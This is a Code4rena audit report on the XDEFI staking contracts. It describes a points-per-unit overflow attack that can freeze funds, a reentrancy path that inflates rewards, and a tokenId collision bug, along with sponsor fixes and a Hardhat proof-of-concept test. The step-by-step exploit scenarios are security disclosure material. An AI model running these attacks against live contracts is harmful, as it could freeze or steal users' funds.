title | sponsor | slug | date | findings | contest |
---|---|---|---|---|---|
XDEFI contest |
XDEFI |
2022-01-xdefi |
2022-02-10 |
75 |
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 code contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the code contest outlined in this document, C4 conducted an analysis of XDEFI contest smart contract system written in Solidity. The code contest took place between January 4—January 6 2022.
41 Wardens contributed reports to the XDEFI contest:
- WatchPug (jtp and ming)
- onewayfunction
- sirhashalot
- cmichel
- kenzo
- Fitraldys
- Tomio
- Czar102
- cccz
- tqts
- egjlmn1
- robee
- pedroais
- Dravee
- defsec
- TomFrenchBlockchain
- PierrickGT
- OriDabush
- leastwood
- MaCree
- 0xsanson
- rfa
- Jujic
- hack3r-0m
- agusduha
- ye0lde
- GiveMeTestEther
- wuwe1
- certora
- jayjonah8
- danb
- gpersoon
- harleythedog
- StErMi
- ACai
- bitbopper
- mtz
- p4st13r4
- saian
- BouSalman
This contest was judged by Ivo Georgiev.
Final report assembled by captainmango and dzhawsh.
The C4 analysis yielded an aggregated total of 13 unique vulnerabilities and 50 total findings. All of the issues presented here are linked back to their original finding.
Of these vulnerabilities, 2 received a risk rating in the category of HIGH severity, 1 received a risk rating in the category of MEDIUM severity, and 10 received a risk rating in the category of LOW severity.
C4 analysis also identified 9 non-critical recommendations and 28 gas optimizations.
The code under review can be found within the C4 XDEFI contest repository, and is composed of 2 smart contracts written in the Solidity programming language and includes 539 lines of Solidity code.
C4 assesses the severity of disclosed vulnerabilities according to a methodology based on OWASP standards.
Vulnerabilities are divided into three primary risk categories: high, medium, and low.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
Further information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website.
[H-01] Malicious early user/attacker can malfunction the contract and even freeze users' funds in edge cases
Submitted by WatchPug
_pointsPerUnit += ((newXDEFI * _pointsMultiplier) / totalUnitsCached);
In the current implementation, _pointsPerUnit
can be changed in updateDistribution()
which can be called by anyone.
A malicious early user can lock()
with only 1 wei
of XDEFI and makes _pointsPerUnit
to be very large, causing future users not to be able to lock()
and/or unlock()
anymore due to overflow in arithmetic related to _pointsMultiplier
.
As a result, the contract can be malfunctioning and even freeze users' funds in edge cases.
Given:
- bonusMultiplierOf[30 days] = 100
- Alice
lock()
1 wei
of XDEFI for 30 days as the first user of the contract. Got1
units, andtotalUnits
now is1
; - Alice sends
170141183460469 wei
ofXDEFI
to the contract and callsupdateDistribution()
:
_pointsPerUnit += ((170141183460469 * 2**128) / 1);
- Bob tries to
lock()
1,100,000 * 1e18
ofXDEFI
for 30 days, the tx will fail, as_pointsPerUnit * units
overlows; - Bob
lock()
1,000,000 * 1e18
ofXDEFI
for 30 days; - The rewarder sends
250,000 * 1e18
ofXDEFI
to the contract and callsupdateDistribution()
:
_pointsPerUnit += ((250_000 * 1e18 * 2**128) / (1_000_000 * 1e18 + 1));
- 30 days later, Bob tries to call
unlock()
, the tx will fail, as_pointsPerUnit * units
overflows.
Uniswap v2 solved a similar problem by sending the first 1000 lp tokens to the zero address.
The same solution should work here, i.e., on constructor set an initial amount (like 1e8) for totalUnits
constructor (address XDEFI_, string memory baseURI_, uint256 zeroDurationPointBase_) ERC721("Locked XDEFI", "lXDEFI") {
require((XDEFI = XDEFI_) != address(0), "INVALID_TOKEN");
owner = msg.sender;
baseURI = baseURI_;
_zeroDurationPointBase = zeroDurationPointBase_;
totalUnits = 100_000_000;
}
deluca-mike (XDEFI) confirmed:
This is a great catch! I just tested it:
const { expect } = require("chai"); const { ethers } = require("hardhat"); const totalSupply = '240000000000000000000000000'; const toWei = (value, add = 0, sub = 0) => (BigInt(value) * 1_000_000_000_000_000_000n + BigInt(add) - BigInt(sub)).toString(); describe("XDEFIDistribution", () => { it("Can overflow _pointsPerUnit", async () => { const [god, alice, bob] = await ethers.getSigners(); const XDEFI = await (await (await ethers.getContractFactory("XDEFI")).deploy("XDEFI", "XDEFI", totalSupply)).deployed(); const XDEFIDistribution = await (await (await ethers.getContractFactory("XDEFIDistribution")).deploy(XDEFI.address, "https://www.xdefi.io/nfts/", 0)).deployed(); // Give each account 2,000,000 XDEFI await (await XDEFI.transfer(alice.address, toWei(2_000_000))).wait(); await (await XDEFI.transfer(bob.address, toWei(2_000_000))).wait(); // bonusMultiplierOf[30 days] = 100 await (await XDEFIDistribution.setLockPeriods([2592000], [100])).wait(); // 1. Alice lock() 1 wei of XDEFI for 30 days as the first user of the contract. Got 1 units, and totalUnits now is 1; await (await XDEFI.connect(alice).approve(XDEFIDistribution.address, 1)).wait(); await (await XDEFIDistribution.connect(alice).lock(1, 2592000, alice.address)).wait(); expect(await XDEFIDistribution.balanceOf(alice.address)).to.equal('1'); const nft1 = (await XDEFIDistribution.tokenOfOwnerByIndex(alice.address, 0)).toString(); expect((await XDEFIDistribution.positionOf(nft1)).units).to.equal(1); // 2. Alice sends 170141183460469 wei of XDEFI to the contract and calls updateDistribution() await (await XDEFI.connect(alice).transfer(XDEFIDistribution.address, 170141183460469)).wait(); await (await XDEFIDistribution.connect(alice).updateDistribution()).wait(); // 3. Bob tries to lock() 1,100,000 * 1e18 of XDEFI for 30 days, the tx will fail, as _pointsPerUnit * units overflows await (await XDEFI.connect(bob).approve(XDEFIDistribution.address, toWei(1_100_000))).wait(); await expect(XDEFIDistribution.connect(bob).lock(toWei(1_100_000), 2592000, bob.address)).to.be.revertedWith("_toInt256Safe failed"); // 4. Bob lock() 1,000,000 * 1e18 of XDEFI for 30 days await (await XDEFI.connect(bob).approve(XDEFIDistribution.address, toWei(1_000_000))).wait(); await (await XDEFIDistribution.connect(bob).lock(toWei(1_000_000), 2592000, bob.address)).wait(); expect(await XDEFIDistribution.balanceOf(bob.address)).to.equal('1'); const nft2 = (await XDEFIDistribution.tokenOfOwnerByIndex(bob.address, 0)).toString(); expect((await XDEFIDistribution.positionOf(nft2)).units).to.equal(toWei(1_000_000)); // 5. The rewarder sends 250,000 * 1e18 of XDEFI to the contract and calls updateDistribution() await (await XDEFI.transfer(XDEFIDistribution.address, toWei(250_000))).wait(); await (await XDEFIDistribution.updateDistribution()).wait(); // 6. 30 days later, Bob tries to call unlock(), the tx will fail, as _pointsPerUnit * units overflows. await hre.ethers.provider.send('evm_increaseTime', [2592000]); await expect(XDEFIDistribution.connect(bob).unlock(nft2, bob.address)).to.be.revertedWith("_toInt256Safe failed"); }); });While I do like the suggestion to to
totalUnits = 100_000_000;
in the constructor, it will result "uneven" numbers due to thetotalUnits
offset. I wonder if I can resolve this but just reducing_pointsMultiplier
touint256(2**96)
as per ethereum/EIPs#1726 (comment).
deluca-mike (XDEFI) commented:
OK, I think I can solve this with
_pointsMultiplier = uint256(2**72)
:const { expect } = require("chai"); const { ethers } = require("hardhat"); const totalSupply = '240000000000000000000000000'; const toWei = (value, add = 0, sub = 0) => (BigInt(value) * 1_000_000_000_000_000_000n + BigInt(add) - BigInt(sub)).toString(); describe("XDEFIDistribution", () => { it("Can overflow _pointsPerUnit", async () => { const [god, alice, bob] = await ethers.getSigners(); const XDEFI = await (await (await ethers.getContractFactory("XDEFI")).deploy("XDEFI", "XDEFI", totalSupply)).deployed(); const XDEFIDistribution = await (await (await ethers.getContractFactory("XDEFIDistribution")).deploy(XDEFI.address, "https://www.xdefi.io/nfts/", 0)).deployed(); // Give each account 100M XDEFI await (await XDEFI.transfer(alice.address, toWei(100_000_000))).wait(); await (await XDEFI.transfer(bob.address, toWei(100_000_000))).wait(); // bonusMultiplierOf[30 days] = 255 await (await XDEFIDistribution.setLockPeriods([2592000], [255])).wait(); // 1. Alice lock() 1 wei of XDEFI for 30 days as the first user of the contract. Got 1 units, and totalUnits now is 1 await (await XDEFI.connect(alice).approve(XDEFIDistribution.address, 1)).wait(); await (await XDEFIDistribution.connect(alice).lock(1, 2592000, alice.address)).wait(); expect(await XDEFIDistribution.balanceOf(alice.address)).to.equal('1'); const nft1 = (await XDEFIDistribution.tokenOfOwnerByIndex(alice.address, 0)).toString(); expect((await XDEFIDistribution.positionOf(nft1)).units).to.equal(2); // 2. Alice sends 100M XDEFI minus 1 wei to the contract and calls updateDistribution() await (await XDEFI.connect(alice).transfer(XDEFIDistribution.address, toWei(100_000_000, 0, 1))).wait(); await (await XDEFIDistribution.connect(alice).updateDistribution()).wait(); // 3. Bob can lock() 100M XDEFI for 30 days await (await XDEFI.connect(bob).approve(XDEFIDistribution.address, toWei(100_000_000))).wait(); await (await XDEFIDistribution.connect(bob).lock(toWei(100_000_000), 2592000, bob.address)).wait(); expect(await XDEFIDistribution.balanceOf(bob.address)).to.equal('1'); const nft2 = (await XDEFIDistribution.tokenOfOwnerByIndex(bob.address, 0)).toString(); expect((await XDEFIDistribution.positionOf(nft2)).units).to.equal(toWei(255_000_000)); // 4. The rewarder sends 40M XDEFI to the contract and calls updateDistribution() await (await XDEFI.transfer(XDEFIDistribution.address, toWei(40_000_000))).wait(); await (await XDEFIDistribution.updateDistribution()).wait(); // 5. 30 days later, Bob can call unlock() await hre.ethers.provider.send('evm_increaseTime', [2592000]); await (await XDEFIDistribution.connect(bob).unlock(nft2, bob.address)).wait(); }); });
deluca-mike (XDEFI) commented:
In the release candidate contract, in order to preserve the math (formulas), at the cost of some accuracy, we went with a
_pointsMultiplier
of 72 bits.Also, a minimum units locked is enforced, to prevent "dust" from creating a very very high
_pointsPerUnit
.Tests were written in order to stress test the contract against the above extreme cases.
Further, a "no-going-back" emergency mode setter was implemented that allows (but does not force) users to withdraw only their deposits without any of the funds distribution math from being expected, in the event that some an edge case does arise.
fantastic finding, agreed with the proposed severity!
The sponsor fixes seem adequate: a lower
_poinsMultiplier
, a minimum lock and an emergency mode that disables reward math, somewhat similar to emergency withdraw functions in contracts like masterchef.
Submitted by cccz, also found by cmichel, Fitraldys, kenzo, onewayfunction, and tqts
There is a reentrancy vulnerability in the _safeMint function
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
...
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
The lock function changes the totalDepositedXDEFI variable after calling the _safeMint function
function lock(uint256 amount_, uint256 duration_, address destination_) external noReenter returns (uint256 tokenId_) {
// Lock the XDEFI in the contract.
SafeERC20.safeTransferFrom(IERC20(XDEFI), msg.sender, address(this), amount_);
// Handle the lock position creation and get the tokenId of the locked position.
return _lock(amount_, duration_, destination_);
}
...
function _lock(uint256 amount_, uint256 duration_, address destination_) internal returns (uint256 tokenId_) {
// Prevent locking 0 amount in order generate many score-less NFTs, even if it is inefficient, and such NFTs would be ignored.
require(amount_ != uint256(0) && amount_ <= MAX_TOTAL_XDEFI_SUPPLY, "INVALID_AMOUNT");
// Get bonus multiplier and check that it is not zero (which validates the duration).
uint8 bonusMultiplier = bonusMultiplierOf[duration_];
require(bonusMultiplier != uint8(0), "INVALID_DURATION");
// Mint a locked staked position NFT to the destination.
_safeMint(destination_, tokenId_ = _generateNewTokenId(_getPoints(amount_, duration_)));
// Track deposits.
totalDepositedXDEFI += amount_;
Since the updateDistribution function does not use the noReenter modifier, the attacker can re-enter the updateDistribution function in the _safeMint function. Since the value of totalDepositedXDEFI is not updated at this time, the _pointsPerUnit variable will become abnormally large.
function updateDistribution() external {
uint256 totalUnitsCached = totalUnits;
require(totalUnitsCached> uint256(0), "NO_UNIT_SUPPLY");
uint256 newXDEFI = _toUint256Safe(_updateXDEFIBalance());
if (newXDEFI == uint256(0)) return;
_pointsPerUnit += ((newXDEFI * _pointsMultiplier) / totalUnitsCached);
emit DistributionUpdated(msg.sender, newXDEFI);
}
...
function _updateXDEFIBalance() internal returns (int256 newFundsTokenBalance_) {
uint256 previousDistributableXDEFI = distributableXDEFI;
uint256 currentDistributableXDEFI = distributableXDEFI = IERC20(XDEFI).balanceOf(address(this))-totalDepositedXDEFI;
return _toInt256Safe(currentDistributableXDEFI)-_toInt256Safe(previousDistributableXDEFI);
}
If the attacker calls the lock function to get the NFT before exploiting the reentrance vulnerability, then the unlock function can be called to steal a lot of rewards, and the assets deposited by the user using the reentrance vulnerability can also be redeemed by calling the unlock function. Since the unlock function calls the _updateXDEFIBalance function, the attacker cannot steal the assets deposited by the user
function unlock(uint256 tokenId_, address destination_) external noReenter returns (uint256 amountUnlocked_) {
// Handle the unlock and get the amount of XDEFI eligible to withdraw.
amountUnlocked_ = _unlock(msg.sender, tokenId_);
// Send the the unlocked XDEFI to the destination.
SafeERC20.safeTransfer(IERC20(XDEFI), destination_, amountUnlocked_);
// NOTE: This needs to be done after updating `totalDepositedXDEFI` (which happens in `_unlock`) and transferring out.
_updateXDEFIBalance();
}
...
function _unlock(address account_, uint256 tokenId_) internal returns (uint256 amountUnlocked_) {
// Check that the account is the position NFT owner.
require(ownerOf(tokenId_) == account_, "NOT_OWNER");
// Fetch position.
Position storage position = positionOf[tokenId_];
uint96 units = position.units;
uint88 depositedXDEFI = position.depositedXDEFI;
uint32 expiry = position.expiry;
// Check that enough time has elapsed in order to unlock.
require(expiry != uint32(0), "NO_LOCKED_POSITION");
require(block.timestamp >= uint256(expiry), "CANNOT_UNLOCK");
// Get the withdrawable amount of XDEFI for the position.
amountUnlocked_ = _withdrawableGiven(units, depositedXDEFI, position.pointsCorrection);
// Track deposits.
totalDepositedXDEFI -= uint256(depositedXDEFI);
// Burn FDT Position.
totalUnits -= units;
delete positionOf[tokenId_];
emit LockPositionWithdrawn(tokenId_, account_, amountUnlocked_);
}
...
function _withdrawableGiven(uint96 units_, uint88 depositedXDEFI_, int256 pointsCorrection_) internal view returns (uint256 withdrawableXDEFI_) {
return
(
_toUint256Safe(
_toInt256Safe(_pointsPerUnit * uint256(units_)) +
pointsCorrection_
) / _pointsMultiplier
) + uint256(depositedXDEFI_);
}
- function updateDistribution() external {
+ function updateDistribution() external noReenter {
Valid and a big issue. However, due to other recommendations, I will not solve it this way. Instead,
updateDistribution()
will be called at the start of every lock/unlock function (so it can't have anoReenter
modifier), and the_safeMint
calls will be moved to the end of their respective operations to prevent the effect of the re-entrancy (i.e. position will created with a_pointsPerUnit
before a re-entering from_safeMint
can affect it). Tests will be added to show this is not longer possible.
deluca-mike (XDEFI) commented:
In our release candidate contract, as mentioned above,
updateDistribution()
is called before each locking and unlocking function, via aupdatePointsPerUnitAtStart
modifier, and thus,updateDistribution()
is now a public fucntion, and since it is used by other functions, cannot be behind anoReenter
.See:
Also, a test was written to ensure that this is no longer exploitable, and that the contract behaves properly if a re-entrancy call
updateDistribution()
.
Agreed with the severity.
Resolution of reordering the calls seems to be adequate
[M-01] _safeMint
Will Fail Due To An Edge Case In Calculating tokenId
Using The _generateNewTokenId
Function
Submitted by leastwood, also found by cmichel, cmichel, egjlmn1, kenzo, MaCree, onewayfunction, sirhashalot, and WatchPug
NFTs are used to represent unique positions referenced by the generated tokenId
. The tokenId
value contains the position's score in the upper 128 bits and the index wrt. the token supply in the lower 128 bits.
When positions are unlocked after expiring, the relevant position stored in the positionOf
mapping is deleted, however, the NFT is not. The merge()
function is used to combine points in unlocked NFTs, burning the underlying NFTs upon merging. As a result, _generateNewTokenId()
may end up using the same totalSupply()
value, causing _safeMint()
to fail if the same amount_
and duration_
values are used.
This edge case only occurs if there is an overlap in the points_
and totalSupply() + 1
values used to generate tokenId
. As a result, this may impact a user's overall experience while interacting with the XDEFI
protocol, as some transactions may fail unexpectedly.
function _lock(uint256 amount_, uint256 duration_, address destination_) internal returns (uint256 tokenId_) {
// Prevent locking 0 amount in order generate many score-less NFTs, even if it is inefficient, and such NFTs would be ignored.
require(amount_ != uint256(0) && amount_ <= MAX_TOTAL_XDEFI_SUPPLY, "INVALID_AMOUNT");
// Get bonus multiplier and check that it is not zero (which validates the duration).
uint8 bonusMultiplier = bonusMultiplierOf[duration_];
require(bonusMultiplier != uint8(0), "INVALID_DURATION");
// Mint a locked staked position NFT to the destination.
_safeMint(destination_, tokenId_ = _generateNewTokenId(_getPoints(amount_, duration_)));
// Track deposits.
totalDepositedXDEFI += amount_;
// Create Position.
uint96 units = uint96((amount_ * uint256(bonusMultiplier)) / uint256(100));
totalUnits += units;
positionOf[tokenId_] =
Position({
units: units,
depositedXDEFI: uint88(amount_),
expiry: uint32(block.timestamp + duration_),
created: uint32(block.timestamp),
bonusMultiplier: bonusMultiplier,
pointsCorrection: -_toInt256Safe(_pointsPerUnit * units)
});
emit LockPositionCreated(tokenId_, destination_, amount_, duration_);
}
function _generateNewTokenId(uint256 points_) internal view returns (uint256 tokenId_) {
// Points is capped at 128 bits (max supply of XDEFI for 10 years locked), total supply of NFTs is capped at 128 bits.
return (points_ << uint256(128)) + uint128(totalSupply() + 1);
}
function merge(uint256[] memory tokenIds_, address destination_) external returns (uint256 tokenId_) {
uint256 count = tokenIds_length;
require(count > uint256(1), "MIN_2_TO_MERGE");
uint256 points;
// For each NFT, check that it belongs to the caller, burn it, and accumulate the points.
for (uint256 i; i < count; ++i) {
uint256 tokenId = tokenIds_[i];
require(ownerOf(tokenId) == msg.sender, "NOT_OWNER");
require(positionOf[tokenId].expiry == uint32(0), "POSITION_NOT_UNLOCKED");
_burn(tokenId);
points += _getPointsFromTokenId(tokenId);
}
// Mine a new NFT to the destinations, based on the accumulated points.
_safeMint(destination_, tokenId_ = _generateNewTokenId(points));
}
Consider replacing totalSupply()
in _generateNewTokenId()
with an internal counter. This should ensure that _generateNewTokenId()
always returns a unique tokenId
that is monotomically increasing .
deluca-mike (XDEFI) confirmed:
In the release candidate contract,
_generateNewTokenId
now used an internal_tokensMinted
variable instead oftotalSupply()
, as seen here. Ivshti (Judge) commented: Agreed with sponsorAs for mitigation, the new way to generate token IDs seems cleaner, but more gas consuming
- [L-01] Distribution Updates Can Be Gamed Submitted by leastwood, also found by cmichel, danb, egjlmn1, gpersoon, hack3r-0m, harleythedog, kenzo, StErMi, and WatchPug
- [L-02] setLockPeriods function lack of input validation Submitted by cccz, also found by agusduha, certora, hack3r-0m, jayjonah8, Jujic, Tomio, WatchPug, and ye0lde
- [L-03] Owner can steal XDEFI without any capital risk Submitted by onewayfunction
- [L-04] Possible profitability manipulations Submitted by Czar102
- [L-06] Assert instead require to validate user inputs Submitted by robee, also found by egjlmn1 and WatchPug
- [L-07]
_zeroDurationPointBase
can potentially be exploited to get more scores Submitted by WatchPug, also found by pedroais - [L-08] Unsafe type casting Submitted by WatchPug
- [L-09] Use of return value from assignment hampers readability Submitted by TomFrenchBlockchain, also found by egjlmn1, robee, and WatchPug
- [L-10] No option to unlock funds before set duration Submitted by sirhashalot
- [L-11] in function setLockPeriods, multiplier can be set to lower than 100 Submitted by Tomio
- [N-01] Require with not comprehensive message Submitted by robee
- [N-02] Event for merge Submitted by 0xsanson
- [N-03] Missing event for admin function setBaseURI Submitted by BouSalman, also found by WatchPug
- [N-04] Wrong revert message Submitted by Czar102
- [N-05] Improper event declaration Submitted by Czar102
- [N-06] Implicit casts should be explicit as per the global code style Submitted by Dravee
- [N-07] Various Non-Conformance to Solidity naming conventions Submitted by Dravee
- [N-08] Avoid inline code for better readibility Submitted by StErMi
- [N-09] Constants are not explicitly declared Submitted by WatchPug
- [G-01] XDEFIDistribution: lock should be reused in lockWithPermit Submitted by PierrickGT
- [G-02] Gas:
XDEFIDistribution.sol
'swithdrawAmount
substraction can be unchecked Submitted by Dravee, also found by 0xsanson, Jujic, WatchPug, and ye0lde - [G-03] "Safe" ERC20 functions for XDEFI? Submitted by 0xsanson
- [G-04] MAX_TOTAL_XDEFI_SUPPLY should be constant Submitted by agusduha, also found by 0xsanson, Czar102, Dravee, GiveMeTestEther, p4st13r4, saian, sirhashalot, and WatchPug
- [G-05] Usage of zero storage for reentrancy guard increases chance that gas refund is capped Submitted by TomFrenchBlockchain, also found by 0xsanson, bitbopper, Czar102, leastwood, mtz, and WatchPug
- [G-06] Public functions to external Submitted by robee, also found by ACai, agusduha, defsec, and Dravee
- [G-07] Use
calldata
instead ofmemory
for external functions where the function argument is read-only. Submitted by Dravee, also found by Czar102, defsec, and TomFrenchBlockchain - [G-08]
> 0 can be replaced with != 0 for gas optimization
Submitted by defsec, also found by Dravee and Jujic - [G-09] Prefix increments are cheaper than postfix increments Submitted by robee, also found by Dravee, Tomio, and WatchPug
- [G-10] Use Custom Errors to save Gas Submitted by Dravee, also found by GiveMeTestEther
- [G-11] Gas: avoid unnecessary SSTORE on
proposeOwnership
Submitted by Dravee - [G-12] Gas Optimization: Tight variable packing in
XDEFIDistribution.sol
Submitted by Dravee - [G-13] gas optimization Submitted by Fitraldys
- [G-14] Gas optimization in XDEFIDistribution.sol - variable that is not used Submitted by OriDabush, also found by WatchPug
- [G-15] Gas optimization in XDEFIDistribution.sol - inlining some functions Submitted by OriDabush
- [G-16] Gas optimization in XDEFIDistribution.sol - shifting instead of multiplying or dividing by power of 2 Submitted by OriDabush, also found by WatchPug
- [G-17] Unneccessary check on total supply of XDEFI token Submitted by TomFrenchBlockchain, also found by onewayfunction
- [G-18]
pointCorrection
can be stored in a uint256 rather than int256 to save gas from casting. Submitted by TomFrenchBlockchain, also found by WatchPug - [G-19] Sub-optimal calls should be allowed instead of reverted as resending the transaction will cost more gas Submitted by WatchPug
- [G-20]
XDEFIDistribution.sol#relock()
Implementation can be simpler and save some gas Submitted by WatchPug - [G-21] Field bonusMultiplier of struct Position can be removed Submitted by wuwe1, also found by WatchPug
- [G-22]
XDEFIDistribution.sol#_updateXDEFIBalance()
Avoiding unnecessary storage writes can save gas Submitted by WatchPug - [G-23] Adding unchecked directive can save gas Submitted by defsec
- [G-24] Less than 256 uints are not gas efficient Submitted by defsec
- [G-25] && operator can use more gas Submitted by rfa
- [G-26] Unnecessary array boundaries check when loading an array element twice Submitted by robee
- [G-27] Unnecessary require statement Submitted by sirhashalot
- [G-28] XDEFIDistribution: unlock function should only be called with tokenId parameter Submitted by PierrickGT
C4 is an open organization governed by participants in the community.
C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.